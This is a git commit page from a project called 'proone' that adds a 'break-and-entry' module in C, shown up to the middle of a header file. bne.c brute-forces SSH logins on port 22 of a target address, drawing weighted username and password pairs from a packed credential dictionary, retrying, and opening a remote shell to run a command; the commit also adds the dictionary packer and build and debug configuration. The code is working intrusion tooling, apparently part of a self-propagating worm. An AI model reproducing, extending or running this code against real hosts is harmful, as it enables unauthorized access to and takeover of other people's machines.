aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-18 00:39:10 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-18 00:39:10 +0930
commit54166c46f32555532dc3c0e922fe6a591cb74128 (patch)
treedee32ffb8a15365cc2800f6c2cbc3520ef56324e
parente6953dcb47193746a4f4d9fff0193723fadbb3e6 (diff)
* Impl: bne
* Add prne_index_nybin()
-rw-r--r--.vscode/launch.json34
-rw-r--r--.vscode/tasks.json10
-rw-r--r--configure.ac5
-rw-r--r--src/Makefile.am15
-rw-r--r--src/bne.c727
-rw-r--r--src/bne.h69
-rw-r--r--src/cred_dict.c151
-rw-r--r--src/cred_dict.h40
-rw-r--r--src/data/cred_dict.sample.txt63
-rw-r--r--src/libssh2.c375
-rw-r--r--src/libssh2.h73
-rw-r--r--src/pack.c22
-rw-r--r--src/pack.h8
-rw-r--r--src/proone-bne.c313
-rw-r--r--src/proone-mkcdict.c235
-rw-r--r--src/proone.c9
16 files changed, 2139 insertions, 10 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json
index de57131..a9b6faa 100644
--- a/.vscode/launch.json
+++ b/.vscode/launch.json
@@ -109,6 +109,40 @@
"preLaunchTask": "Build recon",
"miDebuggerPath": "/usr/bin/gdb"
},
+ {
+ "name": "mkcdict",
+ "type": "cppdbg",
+ "request": "launch",
+ "program": "${workspaceFolder}/src/proone-mkcdict",
+ "args": [ "./src/data/cred_dict.txt", "./src/data/cred_dict.bin" ],
+ "stopAtEntry": false,
+ "cwd": "${workspaceFolder}",
+ "environment": [],
+ "externalConsole": false,
+ "MIMode": "gdb",
+ "setupCommands": [],
+ "preLaunchTask": "Build mkcdict",
+ "miDebuggerPath": "/usr/bin/gdb"
+ },
+ {
+ "name": "bne",
+ "type": "cppdbg",
+ "request": "launch",
+ "program": "${workspaceFolder}/src/proone-bne",
+ "args": [
+ "./src/data/cred_dict.bin",
+ "./builds/proone/proone.nybin",
+ "192.0.2.1" // CHANGE
+ ],
+ "stopAtEntry": false,
+ "cwd": "${workspaceFolder}",
+ "environment": [],
+ "externalConsole": false,
+ "MIMode": "gdb",
+ "setupCommands": [],
+ "preLaunchTask": "Build bne",
+ "miDebuggerPath": "/usr/bin/gdb"
+ },
{
"name": "proone",
diff --git a/.vscode/tasks.json b/.vscode/tasks.json
index 60a1d5e..bb7fc05 100644
--- a/.vscode/tasks.json
+++ b/.vscode/tasks.json
@@ -51,6 +51,16 @@
"command": "make -C ./src proone-recon"
},
{
+ "label": "Build mkcdict",
+ "type": "shell",
+ "command": "make -C ./src proone-mkcdict"
+ },
+ {
+ "label": "Build bne",
+ "type": "shell",
+ "command": "make -C ./src proone-mkcdict proone-bne && ./src/proone-mkcdict ./src/data/cred_dict.txt ./src/data/cred_dict.bin"
+ },
+ {
"label": "Build proone",
"type": "shell",
"command": "make -C ./src proone"
diff --git a/configure.ac b/configure.ac
index 3d38e73..b64550f 100644
--- a/configure.ac
+++ b/configure.ac
@@ -68,6 +68,11 @@ AC_CHECK_LIB(
[],
[AC_MSG_ERROR([mbedtls not found])])
AC_CHECK_LIB(
+ [ssh2],
+ [libssh2_init],
+ [],
+ [AC_MSG_ERROR([ssh2 not found])])
+AC_CHECK_LIB(
[pthsem],
[pth_init],
[],
diff --git a/src/Makefile.am b/src/Makefile.am
index 6d037d1..e0f8b67 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -42,7 +42,9 @@ bin_PROGRAMS =\
proone-ipaddr-arr\
proone-htbthost\
proone-rnd\
- proone-recon
+ proone-recon\
+ proone-mkcdict\
+ proone-bne
proone_tests =\
proone-test_proto\
@@ -67,7 +69,10 @@ libproone_a_SOURCES =\
rnd_well512.c\
recon.c\
inet.c\
- strmap.c
+ libssh2.c\
+ strmap.c\
+ cred_dict.c\
+ bne.c
proone: proone.bin dvault.bin
cp -fa proone.bin proone
@@ -107,6 +112,12 @@ proone_stress_SOURCES = proone-stress.c
proone_rnd_LDADD = libproone.a
proone_rnd_SOURCES = proone-rnd.c
+proone_mkcdict_LDADD = libproone.a
+proone_mkcdict_SOURCES = proone-mkcdict.c
+
+proone_bne_LDADD = libproone.a
+proone_bne_SOURCES = proone-bne.c
+
proone_recon_LDADD = libproone.a
proone_recon_SOURCES = proone-recon.c
diff --git a/src/bne.c b/src/bne.c
new file mode 100644
index 0000000..bf82199
--- /dev/null
+++ b/src/bne.c
@@ -0,0 +1,727 @@
+#include "bne.h"
+#include "util_ct.h"
+#include "util_rt.h"
+#include "iset.h"
+#include "llist.h"
+#include "rnd.h"
+#include "libssh2.h"
+
+#include <string.h>
+#include <ctype.h>
+#include <errno.h>
+
+static const struct timespec BNE_CONN_OP_TIMEOUT = { 60, 0 }; // 1m
+static const struct timespec BNE_SCK_OP_TIMEOUT = { 30, 0 }; // 10s
+static const struct timespec BNE_CLOSE_OP_TIMEOUT = { 1, 0 }; // 1s
+static const struct timespec BNE_ERR_PAUSE = { 0, 500000000 }; // 500ms
+#define BNE_CONN_TIMEOUT 5000 // 5s
+#define BNE_CONN_ATTEMPT 3
+
+struct prne_bne {
+ prne_iset_t cred_set;
+ prne_rnd_t rnd;
+ prne_bne_result_t result;
+ prne_bne_param_t param;
+};
+
+typedef struct {
+ unsigned int attempt;
+ uint16_t port;
+} bne_port_t;
+
+typedef struct {
+ LIBSSH2_SESSION *ss;
+ LIBSSH2_CHANNEL *ch_shell;
+ LIBSSH2_CHANNEL *ch_sftp;
+ char *auth_list;
+ int fd;
+ prne_llist_t ports;
+} bne_vssh_ctx_t;
+
+static bool bne_build_cred_set (prne_bne_t *ctx) {
+ bool ret = true;
+
+ prne_iset_clear(&ctx->cred_set);
+ for (size_t i = 0; ret && i < ctx->param.cred_dict->cnt; i += 1) {
+ ret = prne_iset_insert(
+ &ctx->cred_set,
+ (prne_iset_val_t)(ctx->param.cred_dict->arr + i));
+ }
+
+ return ret;
+}
+
+static void bne_delete_cred_w_id (prne_bne_t *ctx, const char *id) {
+ prne_cred_dict_entry_t *ent;
+ const char *ent_id;
+
+ if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) {
+ return;
+ }
+
+ for (size_t i = 0; i < ctx->cred_set.size;) {
+ ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i];
+ ent_id = ctx->param.cred_dict->m + ent->id;
+
+ if (strcmp(id, ent_id) == 0) {
+ prne_iset_erase(&ctx->cred_set, (prne_iset_val_t)ent);
+ }
+ else {
+ i += 1;
+ }
+ }
+
+ if (ctx->param.cb.exit_dd != NULL) {
+ ctx->param.cb.exit_dd();
+ }
+}
+
+static void bne_free_result_cred (prne_bne_t *ctx) {
+ prne_free(ctx->result.cred.id);
+ prne_free(ctx->result.cred.pw);
+ ctx->result.cred.id = NULL;
+ ctx->result.cred.pw = NULL;
+}
+
+static bool bne_do_connect (
+ const int af,
+ const struct sockaddr *sa,
+ const socklen_t sl,
+ int *fd,
+ pth_event_t ev)
+{
+ int f_ret;
+ struct pollfd pfd;
+
+ *fd = socket(af, SOCK_STREAM, 0);
+ if (*fd < 0) {
+ return false;
+ }
+ if (!prne_sck_fcntl(*fd)) {
+ return false;
+ }
+
+ f_ret = connect(*fd, sa, sl);
+ if (f_ret < 0 && errno != EINPROGRESS) {
+ goto ERR;
+ }
+
+ pfd.fd = *fd;
+ pfd.events = POLLOUT;
+ f_ret = prne_pth_poll(&pfd, 1, BNE_CONN_TIMEOUT, ev);
+ if (f_ret > 0) {
+ socklen_t sl = sizeof(int);
+ int sov = 0;
+
+ if (!(pfd.revents & ~POLLOUT) &&
+ getsockopt(*fd, SOL_SOCKET, SO_ERROR, &sov, &sl) == 0)
+ {
+ if (sov == 0) {
+ return true;
+ }
+ errno = sov;
+ }
+ }
+
+ERR:
+ prne_close(*fd);
+ *fd = -1;
+ return true;
+}
+
+static void bne_vssh_discon (
+ bne_vssh_ctx_t *vs,
+ const struct timespec *to,
+ const int reason,
+ const char *desc)
+{
+ pth_event_t ev;
+
+ if (vs->ss == NULL) {
+ return;
+ }
+
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(*to));
+ prne_assert(ev != NULL);
+
+ prne_lssh2_discon(vs->ss, vs->fd, reason, desc, "", ev);
+ pth_event_free(ev, FALSE);
+}
+
+static void bne_vssh_drop_conn (bne_vssh_ctx_t *vs) {
+ prne_shutdown(vs->fd, SHUT_RDWR);
+
+ prne_free(vs->auth_list);
+ vs->auth_list = NULL;
+ prne_lssh2_free_session(vs->ss);
+ vs->ss = NULL;
+ prne_close(vs->fd);
+ vs->fd = -1;
+}
+
+static bool bne_vssh_est_sshconn (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
+ bool ret = false;
+ uint8_t m_sa[prne_op_max(
+ sizeof(struct sockaddr_in),
+ sizeof(struct sockaddr_in6))];
+ struct sockaddr_in *sa4;
+ struct sockaddr_in6 *sa6;
+ socklen_t sl;
+ int af;
+ pth_event_t ev;
+ const struct timespec *pause = NULL;
+
+ if (vs->ss != NULL) {
+ return true;
+ }
+
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(BNE_CONN_OP_TIMEOUT));
+ prne_assert(ev != NULL);
+
+ while (vs->ports.size > 0 && pth_event_status(ev) != PTH_STATUS_OCCURRED) {
+ bne_port_t *p = (bne_port_t*)vs->ports.head->element;
+
+ if (pause != NULL) {
+ pth_nanosleep(pause, NULL);
+ pause = NULL;
+ }
+
+ bne_vssh_drop_conn(vs);
+ p->attempt += 1;
+
+ switch (ctx->param.subject.ver) {
+ case PRNE_IPV_4:
+ sl = sizeof(struct sockaddr_in);
+ sa4 = (struct sockaddr_in*)m_sa;
+ prne_memzero(m_sa, sl);
+
+ sa4->sin_family = af = AF_INET;
+ memcpy(&sa4->sin_addr, ctx->param.subject.addr, 4);
+ sa4->sin_port = htons(p->port);
+ break;
+ case PRNE_IPV_6:
+ sl = sizeof(struct sockaddr_in6);
+ sa6 = (struct sockaddr_in6*)m_sa;
+ prne_memzero(m_sa, sl);
+
+ sa6->sin6_family = af = AF_INET6;
+ memcpy(&sa6->sin6_addr, ctx->param.subject.addr, 16);
+ sa6->sin6_port = htons(p->port);
+ break;
+ default: continue;
+ }
+
+ if (!bne_do_connect(af, (struct sockaddr*)m_sa, sl, &vs->fd, ev)) {
+ ctx->result.err = errno;
+ goto END;
+ }
+ if (vs->fd < 0) {
+ pause = &BNE_ERR_PAUSE;
+ if (p->attempt >= BNE_CONN_ATTEMPT) {
+ goto POP;
+ }
+ continue;
+ }
+
+ vs->ss = libssh2_session_init();
+ if (vs->ss == NULL) {
+ ctx->result.err = errno;
+ goto END;
+ }
+ libssh2_session_set_blocking(vs->ss, 0);
+
+ if (prne_lssh2_handshake(vs->ss, vs->fd, ev) == 0) {
+ ctx->result.err = 0;
+ ret = true;
+ break;
+ }
+ /* fall-through */
+POP:
+ // try next port
+ prne_free(p);
+ prne_llist_erase(&vs->ports, vs->ports.head);
+ }
+
+END:
+ if (ev != NULL) {
+ if (pth_event_status(ev) != PTH_STATUS_OCCURRED) {
+ ctx->result.err = ETIMEDOUT;
+ }
+ pth_event_free(ev, FALSE);
+ }
+ if (!ret) {
+ bne_vssh_drop_conn(vs);
+ }
+
+ return ret;
+}
+
+/*
+*
+* Does linear search to save memory. This is slow. But hey, as long as it works.
+*/
+static bool bne_pop_cred (
+ prne_bne_t *ctx,
+ const bool per_id)
+{
+ prne_cred_dict_entry_t *ent, *rc = NULL;
+ size_t coin;
+ uint_fast16_t w_tmp;
+ uint8_t wv;
+ prne_iset_t w_set;
+ prne_llist_t cl;
+ const char *ent_id, *ent_pw;
+ bool ret = true, id_match;
+
+ if (ctx->cred_set.size == 0) {
+ return false;
+ }
+ if (ctx->param.cb.enter_dd != NULL && !ctx->param.cb.enter_dd()) {
+ ctx->result.err = errno;
+ return false;
+ }
+
+ prne_init_iset(&w_set);
+ prne_init_llist(&cl);
+
+ // gather weight values
+ for (size_t i = 0; i < ctx->cred_set.size; i += 1) {
+ ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i];
+ if (!prne_iset_insert(&w_set, (prne_iset_val_t)(ent->weight))) {
+ ctx->result.err = errno;
+ ret = false;
+ goto END;
+ }
+ }
+
+ do {
+ w_tmp = 0;
+ for (size_t i = 0; i < w_set.size; i += 1) {
+ w_tmp += (uint_fast16_t)w_set.arr[i];
+ }
+
+ // determine weight
+ if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) {
+ ctx->result.err = errno;
+ ret = false;
+ goto END;
+ }
+
+ if (w_tmp > 0) {
+ coin = coin % w_tmp;
+
+ w_tmp = 0;
+ wv = (uint8_t)(w_set.arr[w_set.size - 1]);
+ for (size_t i = 0; i < w_set.size; i += 1) {
+ w_tmp += (uint_fast16_t)w_set.arr[i];
+ if (coin < w_tmp) {
+ wv = (uint8_t)(w_set.arr[i]);
+ break;
+ }
+ }
+ }
+ else {
+ wv = 0;
+ }
+
+ // search
+ prne_llist_clear(&cl);
+ for (size_t i = 0; i < ctx->cred_set.size; i += 1) {
+ ent = (prne_cred_dict_entry_t*)ctx->cred_set.arr[i];
+ ent_id = ctx->param.cred_dict->m + ent->id;
+
+ if (per_id && ctx->result.cred.id != NULL) {
+ id_match = strcmp(ctx->result.cred.id, ent_id) == 0;
+ }
+ else {
+ id_match = true;
+ }
+
+ if (id_match && ent->weight == wv) {
+ if (!prne_llist_append(&cl, (prne_llist_element_t)ent)) {
+ ret = false;
+ ctx->result.err = errno;
+ goto END;
+ }
+ }
+ }
+
+ if (cl.size > 0) {
+ prne_llist_entry_t *le;
+
+ if (!prne_rnd(&ctx->rnd, (uint8_t*)&coin, sizeof(size_t))) {
+ ctx->result.err = errno;
+ ret = false;
+ goto END;
+ }
+ coin = coin % cl.size;
+
+ le = cl.head;
+ for (size_t i = 0; i < coin; i += 1) {
+ le = le->next;
+ }
+
+ rc = (prne_cred_dict_entry_t*)le->element;
+ goto END;
+ }
+ else {
+ // try next weight value
+ prne_iset_erase(&w_set, (prne_iset_val_t)(wv));
+ }
+ } while (w_set.size > 0);
+
+END:
+ prne_free_iset(&w_set);
+ prne_free_llist(&cl);
+ bne_free_result_cred(ctx);
+ if (rc != NULL && ret) {
+ size_t id_len, pw_len;
+
+ prne_iset_erase(&ctx->cred_set, (prne_iset_val_t)rc);
+
+ ent_id = ctx->param.cred_dict->m + rc->id;
+ ent_pw = ctx->param.cred_dict->m + rc->pw;
+ id_len = strlen(ent_id);
+ pw_len = strlen(ent_pw);
+
+ ctx->result.cred.id = prne_alloc_str(id_len);
+ ctx->result.cred.pw = prne_alloc_str(pw_len);
+ if (ctx->result.cred.id == NULL || ctx->result.cred.pw == NULL) {
+ ctx->result.err = errno;
+ ret = false;
+ bne_free_result_cred(ctx);
+ }
+ else {
+ memcpy(ctx->result.cred.id, ent_id, id_len + 1);
+ memcpy(ctx->result.cred.pw, ent_pw, pw_len + 1);
+ }
+ }
+
+ if (ctx->param.cb.exit_dd != NULL) {
+ ctx->param.cb.exit_dd();
+ }
+
+ return ret;
+}
+
+static bool bne_vssh_login (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
+ bool ret = false;
+ pth_event_t ev = NULL;
+ int f_ret;
+
+ while (true) {
+ if (!bne_vssh_est_sshconn(ctx, vs)) {
+ break;
+ }
+
+ if (ctx->result.cred.id == NULL || ctx->result.cred.pw == NULL) {
+ if (!bne_pop_cred(ctx, true)) {
+ break;
+ }
+ if (ctx->result.cred.id == NULL) {
+ // have to try different ID
+ bne_vssh_discon(
+ vs,
+ &BNE_CLOSE_OP_TIMEOUT,
+ SSH_DISCONNECT_BY_APPLICATION,
+ "this ain't over!");
+ bne_vssh_drop_conn(vs);
+ continue;
+ }
+ }
+
+ pth_event_free(ev, FALSE);
+ ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(BNE_SCK_OP_TIMEOUT));
+ prne_assert(ev != NULL);
+
+ if (vs->auth_list == NULL) {
+ const char *tmp = prne_lssh2_ua_list(
+ vs->ss,
+ vs->fd,
+ ctx->result.cred.id,
+ ev,
+ NULL);
+
+ if (tmp != NULL) {
+ const size_t len = strlen(tmp);
+
+ vs->auth_list = prne_alloc_str(len);
+ if (vs->auth_list == NULL) {
+ ctx->result.err = errno;
+ break;
+ }
+ memcpy(vs->auth_list, tmp, len + 1);
+ prne_transstr(vs->auth_list, tolower);
+ }
+ else if (pth_event_status(ev) == PTH_STATUS_OCCURRED) {
+ break;
+ }
+ }
+
+ f_ret = prne_lssh2_ua_authd(vs->ss, vs->fd, ev);
+ if (f_ret < 0) {
+ bne_vssh_drop_conn(vs);
+ if (pth_event_status(ev) == PTH_STATUS_OCCURRED) {
+ break;
+ }
+ continue;
+ }
+
+ if (f_ret == 0) {
+ // need auth
+ // check vs->auth_list maybe?
+ f_ret = prne_lssh2_ua_pwd(
+ vs->ss,
+ vs->fd,
+ ctx->result.cred.id,
+ ctx->result.cred.pw,
+ ev);
+ if (f_ret == LIBSSH2_ERROR_AUTHENTICATION_FAILED) {
+/*
+* server's not accepting the credentials that had been used for the
+* first time
+*/
+ prne_free(ctx->result.cred.pw);
+ ctx->result.cred.pw = NULL;
+ continue;
+ }
+ if (f_ret != 0) {
+ bne_vssh_drop_conn(vs);
+ if (pth_event_status(ev) == PTH_STATUS_OCCURRED) {
+ break;
+ }
+ continue;
+ }
+ }
+
+ // after auth, acquire shell
+ do { // FAKE LOOP
+ vs->ch_shell = prne_lssh2_open_ch(
+ vs->ss,
+ vs->fd,
+ ev,
+ NULL);
+ if (vs->ch_shell == NULL) {
+ break;
+ }
+#if 0 // without terminal
+ if (prne_lssh2_ch_req_pty(
+ vs->ss,
+ vs->ch_shell,
+ vs->fd,
+ "vanilla",
+ ev))
+ {
+ break;
+ }
+#endif
+ if (prne_lssh2_ch_sh(vs->ss, vs->ch_shell, vs->fd, ev)) {
+ break;
+ }
+
+ ret = true;
+ ctx->result.err = 0;
+ } while (false);
+
+ if (!ret) {
+ if (pth_event_status(ev) == PTH_STATUS_OCCURRED) {
+ break;
+ }
+ // credential worked, but could not open shell with this account
+ bne_delete_cred_w_id(ctx, ctx->result.cred.id);
+ bne_free_result_cred(ctx);
+ bne_vssh_discon(
+ vs,
+ &BNE_CLOSE_OP_TIMEOUT,
+ SSH_DISCONNECT_BY_APPLICATION,
+ "this ain't over!");
+ bne_vssh_drop_conn(vs);
+ continue;
+ }
+ break;
+ }
+
+ pth_event_free(ev, FALSE);
+ return ret;
+}
+
+static bool bne_do_vec_telnet (prne_bne_t *ctx) {
+ // TODO
+ return false;
+}
+
+static bool bne_vssh_do_shell (prne_bne_t *ctx, bne_vssh_ctx_t *vs) {
+ // TODO
+ static const char *CMD = "echo \"boop!\" > /tmp/prne.boop\n";
+ prne_lssh2_ch_write(vs->ss, vs->ch_shell, vs->fd, CMD, strlen(CMD), NULL);
+ return true;
+}
+
+static bool bne_do_vec_ssh (prne_bne_t *ctx) {
+ static const uint16_t SSH_PORTS[] = { 22 };
+ bool ret = false;
+ bne_vssh_ctx_t vssh_ctx;
+
+ prne_memzero(&vssh_ctx, sizeof(bne_vssh_ctx_t));
+ vssh_ctx.fd = -1;
+ prne_init_llist(&vssh_ctx.ports);
+
+ bne_free_result_cred(ctx);
+
+ for (size_t i = 0; i < sizeof(SSH_PORTS)/sizeof(uint16_t); i += 1) {
+ bne_port_t *p = prne_calloc(sizeof(bne_port_t), 1);
+
+ if (p == NULL) {
+ ctx->result.err = errno;
+ goto END;
+ }
+ p->port = SSH_PORTS[i];
+
+ if (!prne_llist_append(
+ &vssh_ctx.ports,
+ (prne_llist_element_t)p))
+ {
+ prne_free(p);
+ ctx->result.err = errno;
+ goto END;
+ }
+ }
+
+ if (!bne_build_cred_set(ctx)) {
+ ctx->result.err = errno;
+ goto END;
+ }
+
+ if (!bne_vssh_login(ctx, &vssh_ctx)) {
+ goto END;
+ }
+
+ // `ctx->result.cred` must be set at this point
+ if (vssh_ctx.ch_shell != NULL) {
+ ret = bne_vssh_do_shell(ctx, &vssh_ctx);
+ }
+
+END:
+ bne_vssh_discon(
+ &vssh_ctx,
+ &BNE_CLOSE_OP_TIMEOUT,
+ SSH_DISCONNECT_BY_APPLICATION,
+ "thank you");
+ bne_vssh_drop_conn(&vssh_ctx);
+ for (prne_llist_entry_t *e = vssh_ctx.ports.head; e != NULL; e = e->next) {
+ prne_free((void*)e->element);
+ }
+ prne_free_llist(&vssh_ctx.ports);
+ return ret;
+}
+
+static void bne_free_ctx_f (void *p) {
+ prne_bne_t *ctx = (prne_bne_t*)p;
+
+ if (ctx == NULL) {
+ return;
+ }
+
+ prne_free_iset(&ctx->cred_set);
+ prne_free_rnd(&ctx->rnd);
+ prne_free_bne_param(&ctx->param);
+ bne_free_result_cred(ctx);
+ prne_free(ctx);
+}
+
+static void bne_fin_f (void *p) {
+ // do nothing
+}
+
+static void *bne_entry_f (void *p) {
+ prne_bne_t *ctx = (prne_bne_t*)p;
+ bool f_ret;
+
+ for (size_t i = 0; i < ctx->param.vector.cnt; i += 1) {
+ switch (ctx->param.vector.arr[i]) {
+ case PRNE_BNE_V_BRUTE_TELNET:
+ f_ret = bne_do_vec_telnet(ctx);
+ break;
+ case PRNE_BNE_V_BRUTE_SSH:
+ f_ret = bne_do_vec_ssh(ctx);
+ break;
+ }
+
+ if (f_ret) {
+ ctx->result.vec = ctx->param.vector.arr[i];
+ break;
+ }
+ }
+
+ return &ctx->result;
+}
+
+void prne_init_bne_param (prne_bne_param_t *p) {
+ prne_memzero(p, sizeof(prne_bne_param_t));
+ p->rcb.self = PRNE_ARCH_NONE;
+}
+
+void prne_free_bne_param (prne_bne_param_t *p) {}
+
+const char *prne_bne_vector_tostr (const prne_bne_vector_t v) {
+ switch (v) {
+ case PRNE_BNE_V_BRUTE_TELNET: return "telnet";
+ case PRNE_BNE_V_BRUTE_SSH: return "ssh";
+ }
+ return NULL;
+}
+
+prne_bne_t *prne_alloc_bne (
+ prne_worker_t *w,
+ mbedtls_ctr_drbg_context *ctr_drbg,
+ const prne_bne_param_t *param)
+{
+ prne_bne_t *ret = NULL;
+ uint8_t seed[PRNE_RND_WELL512_SEEDLEN];
+
+ if (ctr_drbg == NULL) {
+ errno = EINVAL;
+ return NULL;
+ }
+
+// TRY
+ ret = (prne_bne_t*)prne_calloc(sizeof(prne_bne_t), 1);
+ if (ret == NULL) {
+ goto ERR;
+ }
+ prne_init_iset(&ret->cred_set);
+ prne_init_bne_param(&ret->param);
+ prne_init_rnd(&ret->rnd);
+
+ if (mbedtls_ctr_drbg_random(ctr_drbg, seed, sizeof(seed)) != 0) {
+ goto ERR;
+ }
+ if (!prne_rnd_alloc_well512(&ret->rnd, seed)) {
+ goto ERR;
+ }
+
+ ret->param = *param;
+
+ ret->result.subject = &ret->param.subject;
+ ret->result.vec = PRNE_BNE_V_NONE;
+ ret->result.prc = PRNE_PACK_RC_OK;
+
+ w->ctx = ret;
+ w->entry = bne_entry_f;
+ w->fin = bne_fin_f;
+ w->free_ctx = bne_free_ctx_f;
+ return ret;
+ERR: // CATCH
+ if (ret != NULL) {
+ bne_free_ctx_f(ret);
+ ret = NULL;
+ }
+
+ return NULL;
+}
diff --git a/src/bne.h b/src/bne.h
new file mode 100644
index 0000000..ca91a53
--- /dev/null
+++ b/src/bne.h
@@ -0,0 +1,69 @@
+#pragma once
+#include <stdio.h>
+#include <stddef.h>
+#include <inttypes.h>
+#include <stdbool.h>
+
+#include <mbedtls/ctr_drbg.h>
+
+#include "pth.h"
+#include "protocol.h"
+#include "pack.h"
+#include "cred_dict.h"
+
+
+struct prne_bne;
+typedef struct prne_bne_param prne_bne_param_t;
+typedef struct prne_bne prne_bne_t;
+typedef struct prne_bne_result prne_bne_result_t;
+
+enum prne_bne_vector {
+ PRNE_BNE_V_NONE = -1,
+ PRNE_BNE_V_BRUTE_TELNET,
+ PRNE_BNE_V_BRUTE_SSH,
+ NB_PRNE_BNE_V
+};
+typedef enum prne_bne_vector prne_bne_vector_t;
+
+struct prne_bne_param {
+ const prne_cred_dict_t *cred_dict;
+ struct {
+ const prne_bne_vector_t *arr;
+ size_t cnt;
+ } vector;
+ struct {
+ bool (*enter_dd)(void);
+ void (*exit_dd)(void);
+ } cb;
+ struct {
+ const uint8_t *m_self;
+ size_t self_len;
+ size_t exec_len;
+ const uint8_t *m_dv;
+ size_t dv_len;
+ const prne_bin_archive_t *ba;
+ prne_arch_t self;
+ } rcb;
+ prne_ip_addr_t subject;
+};
+
+struct prne_bne_result {
+ struct {
+ char *id;
+ char *pw;
+ } cred;
+ const prne_ip_addr_t *subject;
+ int err;
+ prne_bne_vector_t vec;
+ prne_pack_rc_t prc;
+};
+
+void prne_init_bne_param (prne_bne_param_t *p);
+void prne_free_bne_param (prne_bne_param_t *p);
+
+const char *prne_bne_vector_tostr (const prne_bne_vector_t v);
+
+prne_bne_t *prne_alloc_bne (
+ prne_worker_t *w,
+ mbedtls_ctr_drbg_context *ctr_drbg,
+ const prne_bne_param_t *param);
diff --git a/src/cred_dict.c b/src/cred_dict.c
new file mode 100644
index 0000000..1b6a5bb
--- /dev/null
+++ b/src/cred_dict.c
@@ -0,0 +1,151 @@
+#include "cred_dict.h"
+#include "util_rt.h"
+#include "endian.h"
+#include "strmap.h"
+
+#include <string.h>
+#include <errno.h>
+
+
+void prne_init_cred_dict (prne_cred_dict_t *p) {
+ prne_memzero(p, sizeof(prne_cred_dict_t));
+}
+
+void prne_free_cred_dict (prne_cred_dict_t *p) {
+ if (p == NULL) {
+ return;
+ }
+
+ prne_free(p->arr);
+ prne_memzero(p, sizeof(prne_cred_dict_t));
+}
+
+bool prne_build_cred_dict (
+ const prne_cred_dict_raw_entry_t *arr,
+ const size_t cnt,
+ uint8_t **out_m,
+ size_t *out_l)
+{
+ bool ret = false;
+ prne_strmap_t map;
+ uint8_t *m = NULL, *p;
+ size_t l = 0, strsize, sum_str;
+ uint16_t idx_id, idx_pw;
+
+ if (cnt > UINT16_MAX) {
+ errno = E2BIG;
+ return false;
+ }
+
+ prne_init_strmap(&map);
+
+// TRY
+ for (size_t i = 0; i < cnt; i += 1) {
+ if (arr[i].id == NULL || arr[i].pw == NULL) {
+ errno = EINVAL;
+ goto END;
+ }
+ prne_strmap_insert(&map, arr[i].id, 0);
+ prne_strmap_insert(&map, arr[i].pw, 0);
+ }
+
+ sum_str = 0;
+ for (size_t i = 0; i < map.size; i += 1) {
+ map.tbl[i].val = (prne_strmap_val_t)sum_str;
+ sum_str += strlen(map.tbl[i].key) + 1;
+ }
+ l = 2/*head*/ + 5 * cnt/*entries*/ + sum_str;
+ if (sum_str > UINT16_MAX || l > UINT16_MAX) {
+ errno = E2BIG;
+ goto END;
+ }
+
+ p = m = (uint8_t*)prne_malloc(1, l);
+ if (m == NULL) {
+ goto END;
+ }
+
+ p[0] = prne_getmsb16(cnt, 0);
+ p[1] = prne_getmsb16(cnt, 1);
+ p += 2;
+ for (size_t i = 0; i < cnt; i += 1) {
+ idx_id = (uint16_t)(prne_strmap_lookup(&map, arr[i].id)->val);
+ idx_pw = (uint16_t)(prne_strmap_lookup(&map, arr[i].pw)->val);
+ p[0] = prne_getmsb16(idx_id, 0);
+ p[1] = prne_getmsb16(idx_id, 1);
+ p[2] = prne_getmsb16(idx_pw, 0);
+ p[3] = prne_getmsb16(idx_pw, 1);
+ p[4] = arr[i].weight;
+ p += 5;
+ }
+ for (size_t i = 0; i < map.size; i += 1) {
+ strsize = strlen(map.tbl[i].key) + 1;
+ memcpy(p, map.tbl[i].key, strsize);
+ p += strsize;
+ }
+
+ *out_m = m;
+ *out_l = l;
+ m = NULL;
+ ret = true;
+END: // CATCH
+ prne_free(m);
+ prne_free_strmap(&map);
+ return ret;
+}
+
+bool prne_dser_cred_dict (
+ prne_cred_dict_t *dict,
+ const uint8_t *buf,
+ const size_t len)
+{
+ prne_cred_dict_entry_t *arr = NULL;
+ size_t cnt, head_size, m_size;
+ const uint8_t *p = buf;
+ bool ret = false;
+
+ if (len < 2) {
+ errno = EINVAL;
+ return false;
+ }
+ cnt = prne_recmb_msb16(p[0], p[1]);
+ head_size = 2 + 5 * cnt;
+ if (head_size > len) {
+ errno = EINVAL;
+ return false;
+ }
+ if (cnt > 0 && buf[len - 1] != 0) {
+ errno = EINVAL;
+ return false;
+ }
+ p += 2;
+ m_size = len - head_size;
+
+// TRY
+ arr = prne_malloc(sizeof(prne_cred_dict_entry_t), cnt);
+ if (cnt > 0 && arr == NULL) {
+ goto END;
+ }
+
+ for (size_t i = 0; i < cnt; i += 1) {
+ arr[i].id = prne_recmb_msb16(p[0], p[1]);
+ arr[i].pw = prne_recmb_msb16(p[2], p[3]);
+ arr[i].weight = p[4];
+ p += 5;
+
+ if (arr[i].id >= m_size || arr[i].pw >= m_size) {
+ errno = EINVAL;
+ goto END;
+ }
+ }
+
+ prne_free_cred_dict(dict);
+ dict->arr = arr;
+ dict->cnt = cnt;
+ dict->m = (const char *)(buf + head_size);
+ arr = NULL;
+ ret = true;
+END:
+ prne_free(arr);
+ return ret;
+}
diff --git a/src/cred_dict.h b/src/cred_dict.h
new file mode 100644
index 0000000..790402c
--- /dev/null
+++ b/src/cred_dict.h
@@ -0,0 +1,40 @@
+#pragma once
+#include <stdint.h>
+#include <stddef.h>
+#include <stdbool.h>
+
+
+typedef struct prne_cred_dict_entry prne_cred_dict_entry_t;
+typedef struct prne_cred_dict_raw_entry prne_cred_dict_raw_entry_t;
+typedef struct prne_cred_dict prne_cred_dict_t;
+
+struct prne_cred_dict_entry {
+ uint16_t id;
+ uint16_t pw;
+ uint8_t weight;
+};
+
